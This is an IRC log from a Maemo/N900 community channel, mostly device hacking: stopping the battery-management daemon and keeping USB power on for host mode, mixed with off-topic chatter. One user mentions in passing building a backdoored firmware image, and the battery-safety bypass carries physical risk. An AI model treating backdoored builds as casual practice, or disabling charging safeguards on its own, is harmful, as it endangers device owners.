TomaszD: I'd rather make that a rule across the world, when someone buys a bike "right handed or left handed", and just switch the brake cables. It's no work at all, and can literally save lives May 08 12:57:54 (unless you enjoy broken bones) May 08 12:57:57 DocScrutinizer, dsmetool -t bme_RX-51 May 08 12:58:07 * MohammadAG waits for DocScrutinizer51 to timeout May 08 12:58:10 TomaszD: oh no, definitely helmets May 08 12:58:15 MohammadAG: thanks :-D May 08 12:58:27 TomaszD: I mean, if you want ABS, go for it, but make sure you also know how to brake properly without it May 08 12:58:32 crashanddie, so helmets are cool, but no abs when you get into a sketchy situation May 08 12:58:37 MohammadAG: I asked to NOT timeout May 08 12:58:40 alright.. May 08 12:58:54 TomaszD: technology should be used to make things easier, not to make things dumber or fool-proof May 08 12:59:08 DocScrutinizer, you'll quit when you type that command :) May 08 12:59:17 crashanddie, I will agree with you that e.g. automatic gearbox on a car makes me a worse driver May 08 12:59:27 I pay less attention May 08 12:59:51 that's why I asked. It will get ignored in my further tests May 08 12:59:55 Hi May 08 12:59:57 plus, ABS and all that crap is going to go bad (look at the accelerator mess for Toyota). It may sound stupid, but when it comes to my safety on a bike, where basically there is nothing between me sitting on it, and me skidding across the pavement, I want there to be as little points of failures as possible May 08 13:00:15 true, that is a concern. May 08 13:00:20 DocScrutinizer, no idea why it immediately reboots it though May 08 13:00:20 MohammadAG: you're sure you used '-t' ?? o.O May 08 13:00:23 how heavy is it? How reliable is it? How much maintenance is there? May 08 13:00:31 DocScrutinizer, yeah, why? May 08 13:00:34 Most people never do any maintenance on their bike, and it just makes it more dangerous May 08 13:00:43 whoa May 08 13:00:46 -t --start-restart= Start a process May 08 13:01:08 it always splits the others :p May 08 13:01:09 o.O May 08 13:01:10 -k --stop= Stop a process started with cmd May 08 13:01:18 sec, if I reboot i did a -t May 08 13:01:20 THAT'S why I asked :-P May 08 13:01:57 * crashanddie wonders if we should create a #maemo-ot channel May 08 13:02:05 crashanddie, I guess failsafes should be built-in, but I know for a fact that dirty/faulty abs sensors can be dangerous in certain situations May 08 13:02:13 great, lets move all the netsplits there ;D May 08 13:02:30 crashanddie: so mohammad and me could move over there? ;-P May 08 13:02:56 seems mohammad already did X-P May 08 13:03:02 I think there is a pattern for geeks and technology lovers, they do love their bikes, every bigger community has their ardent bike advocates May 08 13:03:40 It's an excellent way to stay in shape May 08 13:03:57 unncessary reboot... May 08 13:03:57 nearly everyone on the planet knows how to ride a bike, nearly everyone on the planet can go out and ride a bike May 08 13:04:07 DocScrutinizer, -t reboots the device May 08 13:04:18 it's cheap (if you need it to be), and it gets you to know the area you live in May 08 13:04:20 I bet it does May 08 13:04:30 Total: 200182 downloads \o/ May 08 13:05:04 sydney sucks for bikes May 08 13:05:08 satmd: /ignore -channels * JOINS PARTS QUITS NICKS May 08 13:05:09 * MohammadAG wonders if frals would like that number as karma May 08 13:05:10 i prefer amsterdam, but what can ya do May 08 13:05:14 MohammadAG: you're trying to start a second BME instance, which definitely must fail. And you ask dsme to rebot when the started process ends May 08 13:05:19 crashanddie, http://imgur.com/gGVZZ.jpg pic from today May 08 13:05:33 nice May 08 13:05:45 what camera is that, how come you're shooting in 1:1? May 08 13:05:54 I noticed that I f'd up... May 08 13:05:59 DocScrutinizer, -k coming up May 08 13:06:03 I... I've no idea May 08 13:06:05 n900 May 08 13:06:14 I just changed to landscape mode May 08 13:06:24 MohammadAG: err, what's 'coming up'? May 08 13:06:43 dsmetool -k May 08 13:06:43 oh my bad, that's not 1:1 May 08 13:06:56 anyway, going to finish AC2 again, later May 08 13:07:03 MohammadAG: THAT is the part I need no dict for May 08 13:07:24 MohammadAG: it's 'coming up' I don't get May 08 13:07:38 MohammadAG: please rephrase May 08 13:07:39 err, doing the cmd... May 08 13:07:46 aaah May 08 13:07:50 ^ May 08 13:08:04 frals, damn you, mine is only 145k :P May 08 13:08:05 bah May 08 13:08:10 Process not killed: not found, not root or kill failed May 08 13:08:20 not root May 08 13:08:27 sounds reasonable May 08 13:08:43 i am root May 08 13:08:44 what are you guys trying to do? May 08 13:08:54 stop b,e_rx-51 May 08 13:09:00 bme even May 08 13:09:02 s/,/m May 08 13:09:08 what's wrong with kill -9? May 08 13:09:13 LOL May 08 13:09:15 instant reboot May 08 13:09:19 crashanddie, try it :P May 08 13:09:48 what if bme was replaced with an echo script... May 08 13:09:53 -t --start-restart= Start a process May 08 13:09:55 (on process exit, restart max N times, May 08 13:09:56 then do SW reset) May 08 13:10:01 dsmetool -h May 08 13:10:22 MohammadAG: bootloop May 08 13:10:35 even with rd-flags? May 08 13:10:43 lifeguard to be more specific May 08 13:10:50 so I'm told by 'the definitive authorities' May 08 13:12:38 * DocScrutinizer muses over bme_RX-51 712 root mem REG 254,1 7600 6481 /usr/lib/libdsme.so.0.2.0 May 08 13:13:15 DocScrutinizer, did you try replacing it May 08 13:13:17 ? May 08 13:13:32 no, Stskeeps told me it will bootloop May 08 13:13:46 oh May 08 13:13:51 as it was my very first idea as well :-) May 08 13:14:01 and I'm assuming it's closed... May 08 13:14:08 yep, like hell May 08 13:14:20 so many compilers but no decompilers May 08 13:14:21 c'mon it's the holy BME May 08 13:14:25 someone should make one.. May 08 13:14:46 or reverse engineer it, but that's way too much May 08 13:15:05 I did a strace. -> reboot :-O May 08 13:15:10 LOL May 08 13:16:04 MohammadAG: there are decompilers May 08 13:16:05 never heard strace is stopping or killing a process (except skype :-P) May 08 13:16:10 MohammadAG: most of them fail May 08 13:16:21 heh May 08 13:16:22 DocScrutinizer: strace does ptrace on process May 08 13:16:28 What are you guys looking at? May 08 13:16:33 DocScrutinizer: which pauses it for while May 08 13:16:36 bme May 08 13:16:37 bme May 08 13:16:38 killing BME May 08 13:16:44 bme_RX-51 May 08 13:17:00 maybe watchdog did it May 08 13:17:14 watchdog is the root of all problems here May 08 13:17:26 and watchdog can be made harmless May 08 13:17:30 disabling it should help, but DocScrutinizer doesn't want to do that May 08 13:19:08 I'd rather patch the bme binary than use R+D May 08 13:19:28 besides, what are you doing? May 08 13:19:29 if it's closed how is the possible May 08 13:19:44 Host mode May 08 13:19:51 LD_PRELOAD May 08 13:20:03 and where is you problem with BME? May 08 13:20:18 because there is many ways of doing it May 08 13:20:27 but honestly, bme is to be started somewhere in init. Not yet checked but shouldn't be hard to spot May 08 13:20:53 patch file on flash, patch image in memory, LD_PRELOAD, May 08 13:21:21 gdb with some scripts attached to bme would even do the jon May 08 13:21:23 job* May 08 13:21:24 jacekowski: ld_preload actually a great suggestion May 08 13:21:58 i know May 08 13:22:02 i'm clever bloke May 08 13:22:11 hehe indeed May 08 13:22:43 grr May 08 13:22:47 router crashed May 08 13:22:50 on 3G May 08 13:22:56 shame that it's not very good pick up line for chicks May 08 13:23:18 it would be cheapest one May 08 13:25:50 * Shapeshifter notices loss prepositions and verbs around May 08 13:26:15 Found an interesting issue with fMMS May 08 13:27:12 grep -r bme_RX-51 /etc May 08 13:27:43 jacekowski i'm clever bloke LOL May 08 13:27:54 not lol May 08 13:27:57 that's a fact May 08 13:28:43 /etc/event.replace.d/bme: exec /usr/sbin/bme_RX-51 May 08 13:29:28 i don't think so May 08 13:29:39 eeh? May 08 13:29:58 i don't think that's started from there May 08 13:30:01 but let me check May 08 13:31:51 # reboot the device if flag file is not present (bme crashed) May 08 13:31:53 interesting May 08 13:32:21 What's the reason you guys are discussing killing BME? May 08 13:32:28 Host mode May 08 13:32:39 BME gets in the way of lots of stuff May 08 13:32:51 When you're doing low-level hacking May 08 13:32:54 My girlfriend is playing on the xbox, hopefully this will give me enough time to do some serious geeking today ::) May 08 13:34:09 i would personally disassemble it May 08 13:34:20 into some sort of compillable C code May 08 13:34:23 the girlfriend? May 08 13:34:35 Hah May 08 13:34:43 I'm not sure the license authorise you to disassemble your girlfriend May 08 13:34:47 DocScrutinizer, what if the reboot part is removed? May 08 13:34:52 and it insulted my girlfriend May 08 13:34:52 but maybe it depends under which license your gf is distributed May 08 13:35:10 My gf is closed source :P May 08 13:35:13 MohammadAG_: tell me May 08 13:35:17 dunno May 08 13:35:30 Just rev-eng the binary May 08 13:35:39 My favourite would be to remove bme completely from all init stuff May 08 13:35:40 DocScrutinizer, tell you what lol May 08 13:35:57 $LOGGER -pdaemon.notice 'post-stop' May 08 13:36:02 it tests for that May 08 13:36:03 friggin embarrasing bme May 08 13:36:05 if it doesn't exist May 08 13:36:11 it reboots the device May 08 13:36:28 who does theat? a script, no? May 08 13:37:48 STOP_FLAG=/tmp/bme.was.stopped May 08 13:37:53 DocScrutinizer, yes May 08 13:37:59 the one you mentioned above May 08 13:38:16 apparently it also tampers with mce's engine3 May 08 13:39:13 what's the watchdog good for exactly? May 08 13:39:27 does it just reboot the device whenever it thinks the system isn't sane enough anymore? May 08 13:39:43 basically, yes May 08 13:39:49 that's not very linux-like May 08 13:39:59 if an app is killed it restarts it May 08 13:40:05 hmm, seems like 'stop bme' should work, no? May 08 13:40:24 Shapeshifter, sure, tell that to the people who can't start hildon-desktop when it crashes May 08 13:40:31 59 May 08 13:40:33 55 May 08 13:40:34 MohammadAG_: sure May 08 13:40:42 50 May 08 13:40:50 45? May 08 13:40:58 hehehe May 08 13:41:01 :-) May 08 13:41:15 May 08 13:41:22 and.... May 08 13:41:25 run for shelter, spam! May 08 13:41:29 Nokia-N900-02-8:~# stop bme May 08 13:41:30 reboot? May 08 13:41:31 bme (stop) running, process 712 May 08 13:41:32 bme (stop) pre-stop, process 2312 May 08 13:41:34 main process 712 May 08 13:41:35 bme (stop) stopping, process 712 May 08 13:41:37 bme (stop) killed, process 712 May 08 13:41:39 bme (stop) post-stop, process 2315 May 08 13:41:40 bme (stop) waiting May 08 13:41:54 * MohammadAG_ pings DocScrutinizer51 May 08 13:42:03 hezho May 08 13:42:07 ooh, it still pongs May 08 13:42:09 heyho even May 08 13:42:15 s/it/he May 08 13:42:30 wait so... May 08 13:42:33 is bme off now? May 08 13:42:39 hope so May 08 13:42:41 -P May 08 13:43:00 * DocScrutinizer fires a lshal, just for fun May 08 13:43:03 let's see you start it now! start: bme respawning too fast, stopped May 08 13:43:06 You guys working on usb host ? May 08 13:43:18 credit goes to DocScrutinizer May 08 13:43:20 hmm May 08 13:43:37 start: bme respawning too fast, stopped May 08 13:43:38 bme (start) waiting May 08 13:43:38 bme (stop) starting May 08 13:43:38 bme (stop) starting May 08 13:43:38 bme (stop) waiting May 08 13:43:40 xD May 08 13:43:52 alterego: yes May 08 13:44:09 MohammadAG_: reboot? May 08 13:44:19 DocScrutinizer, I'm on the N900 May 08 13:44:25 if it reboots I'll quit May 08 13:44:26 ooh May 08 13:45:12 per-transmitted-packet checkpoints to disk would be cool. May 08 13:45:15 hey May 08 13:45:18 it isn't charging May 08 13:45:19 ho May 08 13:45:20 * DocScrutinizer plugs hub to N900 May 08 13:45:22 guess it worked! May 08 13:45:33 MohammadAG_: After 32s, the watchdog on the charger kicks the charger off May 08 13:45:37 ah May 08 13:45:42 I guess you know that then May 08 13:45:58 :) May 08 13:46:17 DocScrutinizer, hub working? May 08 13:46:25 waaaait May 08 13:46:53 * MohammadAG_ impatiently waits for DocScrutinizer, and the female-female adapter from DX May 08 13:47:11 should've paid the extra 20... May 08 13:47:16 hub works of course May 08 13:47:30 no shut off after 60s? May 08 13:47:38 hub works - plugging shit in? May 08 13:47:39 :) May 08 13:47:49 I assume you just mean vusb? May 08 13:48:07 bme seems not to intercept May 08 13:48:19 yes, of course just VBUS May 08 13:48:20 bme seems dead* :P May 08 13:48:37 yeah May 08 13:48:48 third period of 30s May 08 13:48:51 VBUS May 08 13:49:00 I tried stop bme_RX-51 May 08 13:49:08 a week or two ago May 08 13:49:22 next: augment this silly oneline to a decent script doing bq24150 watchdog reset May 08 13:50:12 * MohammadAG_ gets out his shotgun and shoots the watchdog May 08 13:50:12 Your next challenge: BME in 12 lines of sh. May 08 13:50:49 so... anyone here with an N900 and doesn't care about reflashing it? May 08 13:51:13 /sys/class/i2c-adapter/i2c-1/1-0048/twl4030_usb/vbus May 08 13:51:17 oops May 08 13:51:17 SpeedEvil: exactly :-P May 08 13:51:31 been top of my todo for 3 weeks now X-P May 08 13:51:41 guess not lol May 08 13:51:42 SimonLR: thanks May 08 13:51:47 ? May 08 13:51:51 was just this moment looking for it May 08 13:51:59 I can read minds May 08 13:52:32 works May 08 13:52:43 (/sys/class/i2c-adapter/i2c-1/1-0048/twl4030_usb/vbus) May 08 13:53:08 env SYSFS_VBUS_PATH=/sys/class/i2c-adapter/i2c-1/1-0048/twl4030_usb/vbus May 08 13:53:21 is in /etc/event.replace.d/bme May 08 13:53:27 yesyes May 08 13:53:51 SimonLR, just saw the query, was asleep May 08 13:54:07 MohammadAG_: I forget what I asked, lol May 08 13:54:20 MohammadAG_: was like 2 AM. May 08 13:54:21 if [ $(cat $SYSFS_VBUS_PATH) -eq 1 ]; then May 08 13:54:22 ~nuke busybox May 08 13:54:22 $LOGGER -pdaemon.notice 'starting battery precharge' May 08 13:54:33 SimonLR, 7 here May 08 13:54:36 +rape busybox May 08 13:54:42 ~rape busybox May 08 13:54:53 tzzzz May 08 13:54:56 ~die May 08 13:54:57 * infobot takes two shots to the head and crumples to the ground, lifeless. May 08 13:55:08 erm May 08 13:55:18 BME uses /proc/self/oom_adj in what way? May 08 13:55:37 not even any idea what a friggin shit that might be May 08 13:55:59 what if bme was replaced with a touch /tmp/bme.was.stopped script May 08 13:56:11 I assume it's OutofMemory May 08 13:56:19 and uses it to terminate a specific process May 08 13:56:28 aah May 08 13:56:33 makes sense May 08 13:56:42 MohammadAG_: why should we do that? May 08 13:57:14 DocScrutinizer, if that file isn't missing it should boot properly May 08 13:57:21 even if bme was killed May 08 13:57:43 yesyes, but we can stop bme any time, quite conveniently May 08 13:58:16 * MohammadAG_ forgot we got past that part... May 08 13:58:34 so my previous intention to eliminate and put it to oblivion from all init somewhat has diminuished May 08 13:58:58 Hosing BME off the system would cause other issues, no? May 08 13:59:06 prolly May 08 13:59:17 hm May 08 13:59:32 I even wonder if musb_hdrc doesn't maybe need bme to work properly May 08 13:59:43 that's be a real PITA though May 08 13:59:48 yes it does May 08 14:00:02 Hold up May 08 14:00:44 well, /sys/class/i2c-adapter/i2c-1/1-0048/twl4030_usb/vbus seems to work with bme stopped May 08 14:01:31 Is it possible to simply camp on the BME sockets and tie them up? May 08 14:01:35 can't see many other topics where bme might interfere with hostmode May 08 14:02:15 you not even have a slightest idea what those sockets are, no? May 08 14:03:07 Huh? May 08 14:05:13 yeeha, 62s continuous VBUS May 08 14:08:54 so, who was it who said that host mode was physically impossible? May 08 14:09:55 QGil I think May 08 14:11:02 I didn't spell that right did I May 08 14:11:04 otg wasnt May 08 14:11:33 so what have you guys gotten working on usb? May 08 14:11:44 actually you know what? May 08 14:11:58 BME uses OOM to do the system sanity reboots May 08 14:12:00 pupnik, host mode May 08 14:12:08 OOM? May 08 14:12:14 http://talk.maemo.org/showthread.php?p=649339#post649339 May 08 14:12:21 what device has been found to work MohammadAG_ ? May 08 14:12:33 the one which doesn't already work May 08 14:12:37 N900 May 08 14:12:46 e.g. keyboard, hard drive May 08 14:12:52 oh May 08 14:13:04 mugwarmer? ;) May 08 14:13:07 should be all, when it works May 08 14:13:10 i was just typing May 08 14:13:13 lol Shapeshifter May 08 14:13:31 USB Javelins May 08 14:13:34 MohammadAG_: DocScrutinizer made the joke ;) May 08 14:13:41 I know :P May 08 14:14:06 so why do you have to keep doing that every 28 seconds? May 08 14:14:08 I remember stuff said on the IRC more the irl May 08 14:14:10 * DocScrutinizer wonders if he should 'start bme' now May 08 14:14:20 Shapeshifter, stopping bme works May 08 14:14:27 yeeha, 62s continuous VBUS May 08 14:14:45 "infinite" VBUS: May 08 14:14:49 MohammadAG_: no, I was asking - DocScrutinizer - why the 28 seconds? May 08 14:14:51 last I checked 28 wasn't a factor of 62 May 08 14:15:06 safety headroom May 08 14:15:30 i would've appreciated a tracking number for the adapter... May 08 14:15:43 mh? but, you do it every 28 seconds. Why? I know almost nothing about this. does something happen at 30 or what? May 08 14:15:44 tracking number?? May 08 14:16:12 Shapeshifter: watchdog in bq24150 expires after 32 sec May 08 14:16:18 DocScrutinizer: ah May 08 14:16:52 DocScrutinizer, to track where it is May 08 14:16:58 it was shipped a week ago May 08 14:17:24 adapterrrrrrr aah May 08 14:17:54 sudo bring me breakfast May 08 14:18:09 hmm, doesn't work May 08 14:18:11 lol May 08 14:18:13 * DocScrutinizer waves May 08 14:18:29 wouldn't your stomach need to be root to digest it? May 08 14:19:58 the mouth daemon chowns it May 08 14:21:35 I was thinking of removing the firmware update for the cellmo from the leaked FW May 08 14:21:45 So I can poke about with the release. May 08 14:23:09 Just flash rootfs. May 08 14:23:27 Surely the firmware is in the rootfs .. May 08 14:24:13 so? May 08 14:24:23 Unpack the FIASCO image. May 08 14:24:32 it's CMT-MCUSW May 08 14:24:41 oh, modem firmware May 08 14:24:52 2101 for the N900 btw May 08 14:24:53 alterego, also: strip the keylogger May 08 14:25:09 GAN900: continue... May 08 14:25:55 GAN900: I don't mind the keylogger, I'm just going to add the rick roll on startup and distribute it on some chinese torrent site with an incremented version number ;) May 08 14:26:36 Ha May 08 14:26:42 I built a backdoor'd 1.2 image a few weeks ago, just to see if it worked. May 08 14:27:40 then I got asked for an Android ROM with a backdoor in it. May 08 14:30:47 !logs May 08 14:30:57 ~logs May 08 14:30:58 All conversations are logged to http://ibot.rikers.org/channel, where "channel" is replaced by the URL-encoded channel name, such as %23freenode for #freenode. Lines starting with spaces are not logged. logs are updated daily May 08 14:31:13 Well - that's helpful... May 08 14:31:21 /topic May 08 14:31:23 * SpeedEvil points at broken URL May 08 14:31:47 WFM May 08 14:32:53 http://mg.pov.lt/maemo-irclog May 08 14:33:05 woo! just replaced my TV remote. May 08 14:33:44 * MohammadAG realizes that refreshing the DX won't make the package arrive faster May 08 14:33:47 qtirreco May 08 14:35:47 how can I list all packages installed? May 08 14:35:54 MohammadAG: DX takes forever May 08 14:35:56 Shapeshifter: dpkg -l May 08 14:36:05 SimonLR: thanks May 08 14:36:09 * MohammadAG shrugs May 08 14:36:30 hey MohammadAG, I just pushed Vertsms to git that has storing the message to conversations implemented May 08 14:36:37 SpeedEvil told me it takes 1 week May 08 14:36:48 MohammadAG: I don't think I did May 08 14:36:54 i'll take that as push it as 0.3? :P May 08 14:36:57 MohammadAG: It takes 2-3 May 08 14:37:00 err 2 weeks sorry May 08 14:37:08 MohammadAG: Takes 1 week for them to even get the damn order May 08 14:37:13 Then 2 weeks to process and ship it May 08 14:37:29 But hey, you can't really complain for the cost. May 08 14:37:51 MohammadAG, yes please. I am a bit unsure about the functionality (direct fiddling with db instead of official api) May 08 14:38:14 ossipena, screw the API, just ask DocScrutinizer and his experience with bme May 08 14:38:17 works for me but I want to get it tested better... May 08 14:38:29 ossipena: does it backup el.db? May 08 14:38:31 wo summoned me? May 08 14:38:43 simonlr, nope May 08 14:39:07 ossipena; are you modifying it directly, or making clone changes? May 08 14:39:14 directly May 08 14:39:30 I hope you don't run into corruption issues with write times May 08 14:39:44 gnah, breakfast calling May 08 14:39:49 should I make a backup every time before writing? May 08 14:39:53 No May 08 14:39:56 Would be better to use rtcomm? Rather than updating el.db directly .. May 08 14:40:08 Ideally yes, but it's lame as fuck May 08 14:40:17 You should clone it, make changes to the clone file May 08 14:40:26 Have a sanity check with sqlite3 and then commit them May 08 14:40:40 do you have good examples how to do that? May 08 14:40:49 Still think talking to rtcomm would be better ... May 08 14:40:54 Unfortunately not :( May 08 14:41:12 I thought sqlite3 was thread safe anyway .. May 08 14:41:14 It would definitely be better, but you know it's a shit ton harder May 08 14:41:23 alterego, probably yes if there was some sense using it May 08 14:42:14 ossipena, where is the db stored? May 08 14:42:30 * DocScrutinizer51 coughs on 'DBMS threadsafe' - points to commit/rollback May 08 14:42:49 /home/user/.rtcom-eventlogger/el.db May 08 14:43:56 hmm May 08 14:43:59 13.9MBs May 08 14:44:14 would be hard/time consuming to backup and write to it each time May 08 14:44:22 Don't need to do it each time May 08 14:44:37 There's some really cool things happening in the community now, usb host seems to be looking quite possible, vert sms, though I'll probably not use that personally. May 08 14:44:49 I kinda want to work on something myself, but not sure what to do really. May 08 14:44:52 Something based on Qt May 08 14:45:11 write a backend service for search May 08 14:45:25 ossipena: should probably use the rtcom-el api as you'd get a shitstorm over you if the database got corrupted ;-) May 08 14:46:00 frals: exactly what I've been saying ;) do youuse it for fMMS? May 08 14:46:02 i'll help to contribute with what frals warned you about May 08 14:46:34 alterego: nope, using my own db May 08 14:47:03 There is MMS integration in rtcomm .. May 08 14:47:07 *** System restart required *** May 08 14:47:20 alterego, yeah told him about it May 08 14:47:39 :) May 08 14:47:59 ossipena, got a link to the gitorous repo? May 08 14:48:16 frals: thanks, the debian arm package for net-tools provides a working arp command May 08 14:48:32 lenny May 08 14:48:40 http://gitorious.org/vertsms/ May 08 14:49:05 thanks :) May 08 14:50:56 cmong lets get this libqt4-core fixed May 08 14:51:18 pupnik: what's wrong with it? May 08 14:51:57 hello, everyone May 08 14:52:17 hello May 08 14:52:30 i noticed that my n900 is quite hot with 3G, is there anyway to monitor the temperature? May 08 14:52:47 ossipena, changelog? May 08 14:52:56 other than db May 08 14:52:59 freesamael: mine gets like that too, it's not too hot. May 08 14:53:27 freesamael, I wouldn't worry about it, it's normal, as long as you don't overclock, put a stress test on and hide the n900 under a pillow, it should be ok May 08 14:53:49 freesamael: there's a crude kernel module for battery temps May 08 14:53:59 mohammadag, nothing else. well, backspace improvement code that is commented May 08 14:54:42 it used to be ok, but the summer's coming, the temperature in my room now is about 28 degree May 08 14:55:18 so n900 seems hot when it's in high loading or with 3G, is that ok? May 08 14:56:02 because here in taiwan the highest temp in summer is about 38 degree... :( May 08 14:57:22 freesamael: I've had mine up to 50deg. No bother. May 08 14:57:31 wow May 08 14:59:36 LOOOL May 08 14:59:46 attach charger May 08 14:59:54 stop bme May 08 15:00:51 watch bq24150 resetting to default charging mode after 32s, lighting up hardwired amber charge indicator May 08 15:02:09 dangerous or not? :P May 08 15:02:12 SpeedEvil: what's up with your soldering iron? May 08 15:02:36 Stskeeps: I dare to take bets nothing bad will happen May 08 15:02:53 (was just curious) May 08 15:03:08 Stskeeps: see, bq24150 has quite conservative sane defaults May 08 15:03:17 * MohammadAG flashes a corrupt bootloader and blames DocScrutinizer51 for the brick May 08 15:04:02 MohammadAG: send the brick to me, you'll get recompensated evetually May 08 15:06:31 lol May 08 15:06:51 no ability to flash a corrupt bootloader, they're signed :P May 08 15:06:52 afaik May 08 15:07:05 (depending on where the check is) May 08 15:07:39 Stskeeps: there's always JTAG May 08 15:07:55 omap3430 is unbrickable anyways May 08 15:07:59 34xx May 08 15:08:33 DocScrutinizer51: i don't personally have jtag May 08 15:08:46 SimonLR: explain May 08 15:09:35 * DocScrutinizer51 touches his neck, forehead, other parts of his body May 08 15:09:51 me neither obviouslz :-P May 08 15:11:09 jacekowski: serial and JTAG make it essentially unbrickable by SW May 08 15:11:39 you can disabl jtag May 08 15:12:54 ugh, jtag blowfuse? May 08 15:13:22 jacekowski: from software? May 08 15:14:25 N900 battery isn' good enough to survive wait time at a&e May 08 15:14:35 shame May 08 15:15:11 weirdos :) May 08 15:16:10 a&e?? May 08 15:16:50 british version of er May 08 15:17:02 accident & emergency May 08 15:18:09 bbl May 08 15:18:15 wtf? not enough power for the defibrilator, or what? May 08 15:19:10 haha May 08 15:19:20 jacekowski: I always keep a spare in my wallet. May 08 15:19:44 DocScrutinizer: It doesn't produce heat. I am unsure if this is the iron, or the controller - the iron shows one 12R resistance on it - which is around right for a 50W iron on DC May 08 15:19:56 DocScrutinizer: I simply have not got up the energy to fix it. May 08 15:20:48 we'd need decent honest figures for the shunt May 08 15:21:08 Why? May 08 15:21:18 I mean - I see the point in the abstract. May 08 15:21:26 for freeBME May 08 15:21:46 But - given that everything reads out in terms of the shunt resistance, and that 20mR seems to work - why not? May 08 15:21:57 Just don't exceed the limits BME does, and you're fine May 08 15:22:21 yesyes May 08 15:22:26 anyway May 08 15:22:27 * RST38h yawns May 08 15:26:13 Impressive. Searching my logs, I find a maximum charging current of 11.6A. May 08 15:26:18 * SpeedEvil suspects a bogon. May 08 15:26:33 (reading the bq*'s module output) May 08 15:27:10 * MohammadAG wonders why his cpu is @ 100 May 08 15:27:41 I'm in your machine. Fork bombing your shit. May 08 15:28:16 lol May 08 15:28:20 "The Pentagon, not usually known for its frugality, is pleading with Congress to stop spending so much money on the troops." May 08 15:28:25 looks like xchat... May 08 15:28:28 sec restarting it May 08 15:33:28 Mhm installer written in Java fails May 08 15:34:36 Probably wrong version of the JVM =( May 08 15:45:39 SpeedEvil: (bogon) interference with bme, on I2C bus May 08 15:45:55 frals, 200k! May 08 15:47:54 DocScrutinizer: hmm - suppose so May 08 16:02:40 hi, how can I fix this: dpkg --purge remove dropbear May 08 16:02:40 rmdir: unrecognized option `--ignore-fail-on-non-empty' May 08 16:02:40 subprocess post-removal script returned error exit status 1 May 08 16:02:52 Linux Nokia-N900-51-1 2.6.28-omap1 #1 PREEMPT Thu Dec 17 09:40:52 EET 2009 armv7l unknown May 08 16:20:58 jatt: modify the post-removal script would be my option May 08 16:21:35 jatt: or clone rmdir and parse out the argument. I'd contact whoever maintains the dropbear package. May 08 16:29:21 thanks, another question, is gcc available for the n900? I would like to compile a small program on it May 08 16:31:05 I wonder if Google would have been able to answer that? May 08 16:31:13 jatt: yes, gcc is available on the N900 May 08 16:31:42 jatt: You can add the sdk/tools repository to the N900, and then use apt-get to install build-essential May 08 16:31:57 are they optified? May 08 16:32:01 nope May 08 16:32:07 ok :/ May 08 16:36:10 any other questions? May 08 16:36:13 C'mon, bring it on May 08 16:36:54 petteri, download the source for them, make patches, add a bug report and append them to it May 08 16:37:00 ill try and see what can be done May 08 16:37:54 lcuk: i'll manage with the sdk. I was just wondering May 08 16:45:38 crashanddie, get a job? :P May 08 16:46:40 lcuk: yeah, pretty cool :> May 08 16:49:34 GAN900: not yet May 08 16:56:27 now egoshin is starting to act funny :-P "WARNING WARNING" aiui the whole thread doesn't contain a single explicit method to mess with TWL4030 - except of course egoshin's modded kernels themselves May 08 16:56:47 till-: are you Till Harbaum, the Maep developer? May 08 17:01:57 DocScrutinizer, did the other me quit? May 08 17:02:03 nvm, it's not here May 08 17:02:10 phone isn't turning on lol May 08 17:02:18 Orange solid light May 08 17:02:34 is it possible -and relatively easy- to intercept call and sms in N900 to trigger some actions? May 08 17:02:52 sms yes, look at the i am here source May 08 17:03:56 smhar, dbus May 08 17:04:53 DocScrutinizer51: well - ther were your i2cset commanda May 08 17:07:19 not owning N900 yet, so what is dbus? May 08 17:07:28 Good evening. May 08 17:07:45 smhar, Linux thing. May 08 17:07:52 IPC May 08 17:07:54 smhar, for inter-process communication May 08 17:07:57 smhar: dbus is a process communication net May 08 17:08:02 wikipedia is your friend May 08 17:08:15 inz, expanded acronym on an N900 win. :P May 08 17:08:18 GAN900, going through it already :-) May 08 17:08:22 think of it like 10base-t ethernet between processes. May 08 17:08:29 Are questions about hardware supporting maemo welcome? May 08 17:08:38 moza: sure May 08 17:08:52 moza: there are four lights! May 08 17:08:54 err May 08 17:09:01 four maemo devices May 08 17:09:12 I am considering buying a phone, and need a GPS anc compass in it. May 08 17:09:25 n770,n800,n810,n900 May 08 17:09:31 I think the N900 doesn't have a compass, and i don't know the other phones. May 08 17:09:44 Thanks for the numbers, it will be easier to compare :) May 08 17:09:49 there is no phone with compass and maemo May 08 17:09:54 Any general comments on them? May 08 17:09:59 oh... ok then... May 08 17:09:59 the others are old. May 08 17:10:06 why compass? May 08 17:10:26 I am doing non-visual interaction, and i need to be able to use a pointing gesture May 08 17:10:34 k May 08 17:10:47 To get audio/vibration feedback when you point in a direction. May 08 17:10:50 compass is good because it means you can navigate w/ your maps program even when walking May 08 17:11:00 navigating w/out compass is a PITA May 08 17:11:08 I know. May 08 17:11:18 ok, so i guess i'm left with android :/ May 08 17:11:19 Nokia doesn't May 08 17:11:22 I have pondered making a compass. May 08 17:11:29 moza: yup, android May 08 17:11:35 nothing that will get out soon with maemo and a compass? May 08 17:11:39 N900evil: a simple BT one would do it May 08 17:11:40 i can wait a little :) May 08 17:11:47 it is hard to make it internal without lots of incestment. May 08 17:11:55 the hole is too small. May 08 17:12:09 only 1mm thick for the microsd. May 08 17:12:10 N900evil: external - BT May 08 17:12:12 do it! May 08 17:12:27 if it was 2mm, would be 'easy' May 08 17:12:42 Thanks for the information anyway :) May 08 17:12:54 good lick. May 08 17:13:10 sorry - sun rflecting off display May 08 17:13:21 makes poofreading hard. May 08 17:15:09 ok, GAN900, so using dbus, I can write a program in python that intercept an sms and triggers actions, am I right May 08 17:15:28 smhar, look at fmms - it is written in python and does just that May 08 17:15:47 smhar, yes, dbus does global broadcast for a lot of stuff. May 08 17:16:09 Er, well, processes do broadcasts through dbus for a lot of stuff. May 08 17:16:31 is there a thunderbird for N900, just like there is a firefox May 08 17:17:55 lcuk: nah, fmms intercepts sms push, normal sms are handled differently afaik :) May 08 17:18:05 ahh k May 08 17:19:09 smhar: yes and no May 08 17:19:24 valdyn, how? May 08 17:19:41 smhar: the desktop firefox runs on n900 and does desktop thunderbird May 08 17:19:53 smhar: but as far as i know theres no mobile version of thunderbird May 08 17:20:19 I see May 08 17:41:41 for the n900, is there a way to see sms notifications on the desktop? it seems that when i receive an sms when i'm away from the phone the only thing i see is that the upper left task manager is blurred May 08 17:46:25 o_O http://twitter.com/MeeGoPortal/status/13611719121 May 08 17:48:06 looks like vnc May 08 17:48:14 ok, theme May 08 17:50:32 omar: there is a widget, i think May 08 17:50:44 also, doesn't the LED flash? May 08 17:58:04 BCMM the widget i saw just takes you to conversations and only shows the number of conversations you have and the total messages in each, it's pretty useless May 08 17:58:08 it might as well act as a 